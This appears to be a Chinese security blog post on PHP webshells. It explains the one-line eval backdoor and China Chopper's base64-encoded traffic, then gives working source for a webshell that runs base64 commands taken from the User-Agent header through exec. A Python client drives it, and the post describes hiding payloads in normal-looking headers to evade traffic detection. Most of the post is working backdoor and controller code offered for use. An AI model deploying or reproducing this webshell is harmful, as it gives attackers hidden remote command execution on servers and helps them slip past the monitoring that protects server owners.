流量混淆webshell

webshell是什么?

刚刚接触安全的时候,对于webshell这个概念还是十分的惊奇。只记得当时带课的老师才测试网站上传了一个php文件(老师说是webshell),然后用了一个软件就直接可以控制测试网站了。当时觉的真TM的牛皮,那时起觉的安全还挺有意思的。

回忆复现

到底websehll是什么?那就来回忆下当前的情景。
工具: phpstudy、菜刀、一句话webshell<?php eval(@$_POST['a']); ?>
操作流程:

  • 将webshell保存为后缀为.php的文件并上传到相应的web目录下。

  • 使用中国菜刀进行连接

中国菜刀 是一款由中国大牛开发的webshell后门管理工具。配置简便、功能强大、使用方便,可以说是一款强大好用的“web管理工具”。

菜刀分析

  • 在菜刀客户端中输入ipconfig命令,然后通过winshark抓包分析菜刀运行的原理。

  • 菜刀将执行的命令通过base64加密传入webshell中,对psot字段进行base64解密看看其详情信息(菜刀分析参加文章)

  1. @ini_set(“display_errors”,”0”);临时关闭PHP的错误显示功能

  2. @set_time_limit(0);防止像dir、上传文件大马时超时

  3. @set_magic_quotes_runtime(0);关闭魔术引号,这东西在4.0以后就不怎么用了

  4. $p=’cmd’;执行cmd

  5. $s=’cd /d D:\&ipconfig&echo;执行ipconfg并输出

一句话分析

<?php eval(@$_POST['a']); ?>
为什么如此简单的一句话就可以拥有如此神奇的力量,让他足以控制一台计算机。其实是计算机语言的魅力,每一种计算机语言都是为操作计算机系统而生。当然webshell也是计算机语言所写,其又被称为服务器控制端,那如过被攻击者利用就被称之为shell了。

  • 以php语言为案例,攻击者通过各种函数、变量拼接,从而构造出命令执行函数,php 常见命令执行函数:

    ${}
    Eval()
    Assert()
    preg_replace()
    create_function()
    array_map()
    call_user_func()/call_user_func_array()
    array_filter()
    usort(),uasort()
  • 通过post传入payload执行命令并回显

  • winshark抓包

相信看到这一步应该对webshell有一个大概的了解,简单理解了webshell的执行原理。

流量加密

目前市场上的安全设备对于恶意数据流都可精准检测其特征,而常规的一句话木马、菜刀等特征过于明显。而且大部分的黑客工具都被列入特征库,所以攻击方的攻击手法很容易被针对,攻击链路也很容易被还原。

简单加密

常规的webshell是将所需的payload通过post进行传参,很容易被流量设备检测。当然,你也可以使用其他地方进行传参。

  • 例如:user_agent加密进行传参,然后再解密执行命令。

  • winshark抓包

webshell源码

<?php
$dd = $_SERVER['HTTP_USER_AGENT’];
//获取user_agent参数
$qq = base64_decode($dd);
//解密user_agent参数
$jjj = exec ($qq,$out);
//执行user_agent参数
for ($i=0 ;$i < count($out) ;$i++){
    $ls = $ls.$out[$i]."\n";
}
echo base64_encode($ls);
//加密输入执行后的系统命令
?>

客户端源码

当然用浏览器手工去输入shell着实不太方便,写一个简单的控制脚本。

#!/usr/bin/python
# -*- coding: UTF-8 -*-
import requests
import base64
str_1 = ""
headers = {
        "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
        "User-Agent": "adwd",
        "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",
        "Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
        "Accept-Encoding":"gzip, deflate"
    }
while True:
    str_1 = input("please input cmd:")
    str_1 = bytes(str_1, encoding="gbk")
    str_1 = base64.b64encode(str_1)
    headers['User-Agent']=str_1
    ls = requests.get(url="http://127.0.0.1/1.php",headers=headers)#url更改位置
    ls_1 = ls.content
    ls_1 = base64.b64decode(ls_1)
    ls_2 = str (ls_1, encoding="gbk")
    print (ls_2)

流量混淆

上面的加密user_agent的特征还是较为明显。新思路:客户端将所需的payload通过base64加密进行拆分,嵌入正常的user_agent中,然后传入服务器。Webshell再从user_agent中提取payload解密执行,将回显命令通过base64+assic移位进行加密输出。客户端再对加密回显进行解密。

使用详情

通过上面思路,分别编写了php与jsp的webshell,还有python客户端。当然目前并不支持文件上传,和其他高级功能,后续再持续更新。
源码下载


本博客所有文章除特别声明外,均采用 CC BY-SA 4.0 协议 ,转载请注明出处!